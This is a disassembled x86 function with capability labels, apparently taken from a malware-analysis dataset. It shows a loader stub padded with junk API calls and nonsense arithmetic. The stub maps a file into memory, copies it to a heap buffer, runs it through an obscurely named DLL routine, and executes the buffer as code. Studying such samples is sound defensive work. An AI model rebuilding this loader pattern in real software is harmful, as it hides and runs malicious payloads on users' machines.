Function at 0x10001790
Capabilities:
Get file size
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44
mov eax, dword [0x1001a078]
xor eax, esp
mov dword [esp + 0x40], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], 0
call dword [sym.imp.USER32.dll_GetSubMenu]
lea ecx, [esp + 0x1c]
push ecx
push 1
push 1
push esi
mov dword [esp + 0x40], eax
mov dword [esp + 0x50], str.ahvAQciwPPm
call dword [sym.imp.USER32.dll_InsertMenuItemA]
fld dword [0x1001b2a8]
fsub qword [0x10014638]
fstp dword [esp + 0x14]
fld dword [esp + 0x14]
fabs
fstp dword [esp + 0x14]
fld dword [esp + 0x14]
fld dword [0x10014630]
fucompp
fnstsw ax
test ah, 0x44
jp 0x10001833
fild dword [0x1001b2ac]
inc dword [0x1001b2ac]
fstp dword [0x1001b2a8]
push 0x20
call fcn.10002669
add esp, 4
push 0x100144cc
push 0x1001c028
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push 4
push 0
push 3
push 0x80000000
push 0x1001c140
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x14
mov esi, eax
call fcn.10002f36
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
add esp, 4
mov dword [eax + 0x10], ecx
cmp word [eax], 1
jne 0x100018af
push ecx
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push 1
lea edi, [eax + 0xe]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov al, byte [esp + 0x13]
mov byte [edi], al
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push str.ZeUKcwBMAl
mov dword [0x1001c354], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.ZeUKcwBMAl
push 0x1001c028
call fcn.10002850
add esp, 0xc
cmp dword [0x1001b2ac], 0xffffcaa6
jge 0x100018ee
mov dword [0x1001b2ac], 0x376
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
and dword [0x1001b2ac], 0xdf9
mov edi, eax
test edi, edi
jne 0x100019ad
mov edi, dword [sym.imp.USER32.dll_FindWindowW]
push str.jkcxfmbokaliuiqif
push str.lerrjvcfgsgdvvs
call edi
movzx ecx, byte [0x1001c34c]
mov dword [0x1001c354], eax
imul ecx, ecx, 0xffffffb2
mov eax, dword [0x1001c024]
mov edx, eax
imul edx, edx, 0x7f
xor ecx, edx
xor edx, edx
test eax, eax
sete dl
push esi
imul edx, dword [0x1001b2ac]
mov eax, edx
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
add eax, eax
sub eax, ecx
mov dword [0x1001b2ac], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.USER32.dll_GetSysColor]
shr eax, 6
mov dword [0x1001b2b0], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
mov dword [0x1001c350], esi
call fcn.100010a0
test eax, eax
je 0x10001999
push esi
push str.bbxxorobvswrinhg
call edi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.10002674
mov esp, ebp
pop ebp
ret
push 0x104
push 0x1001c028
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push 0
push 0
push 0
push 0
push 4
push edi
mov dword [0x1001c13c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov edi, eax
mov eax, dword [0x1001c350]
test eax, 0xffff0000
jne 0x10001a02
mov ecx, 0xc000
mov word [0x1001b2b0], ax
cmp ax, cx
jb 0x10001a02
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor edx, edx
mov word [0x1001b2b0], dx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
push 8
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x1001c358], eax
test eax, eax
je 0x10001a53
push esi
push edi
push eax
call fcn.10002850
mov eax, dword [esp + 0x24]
add esp, 0xc
push 0xae
push eax
lea ecx, [esp + 0x1c]
push ebx
push ecx
call sym.zpfmzfygpg.dll_qjuoekplsp
add esp, 0x10
call dword [0x1001c358]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10002674
mov esp, ebp
pop ebp
ret